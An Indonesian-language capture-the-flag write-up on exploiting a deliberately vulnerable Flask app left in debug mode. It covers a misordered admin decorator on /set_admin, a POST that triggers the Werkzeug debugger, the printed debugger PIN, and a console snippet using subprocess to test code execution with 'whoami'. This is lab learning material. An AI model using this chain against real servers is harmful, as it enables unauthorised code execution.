Masalah

Diberikan layanan web beserta source code CJFlaskApp.

Penyelesaian

Persiapan

Instalasi depedensi pip.

$ pip install -r requirements.txt

Jalankan layanan web.

$ python app.py

Eksploitasi

Setelah layanan web berjalan, ternyata mode debug diaktifkan.

 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 894-730-124

Buka alamat http://localhost:5000 pada browser.

https://imgur.com/download/Pw6OsFb

Analisis source code, ditemukan request POST.

@helpers.admins_only
@app.route('/set_admin', methods=['POST'])
def set_admin():
  username = request.form['username'].lower()
  helpers.set_as_admin(username)
  return json.dumps({'status': 'Saved'})

Lakukan request POST ke rute set_admin dengan Hackbar dan atur parameter username=admin.

https://imgur.com/download/YX3Raga

Luaran yang muncul berisi halaman debug.

https://imgur.com/download/W7rpo3i

Klik pada bagian pojok kanan terdapat console, masukkan kode PIN agar console terbuka.

https://imgur.com/download/W7rpo3i

Uji kelemahan Remote Code Execution dengan kode ini.

from subprocess import check_output
check_output('whoami', shell=True)

results matching ""

    No results matching ""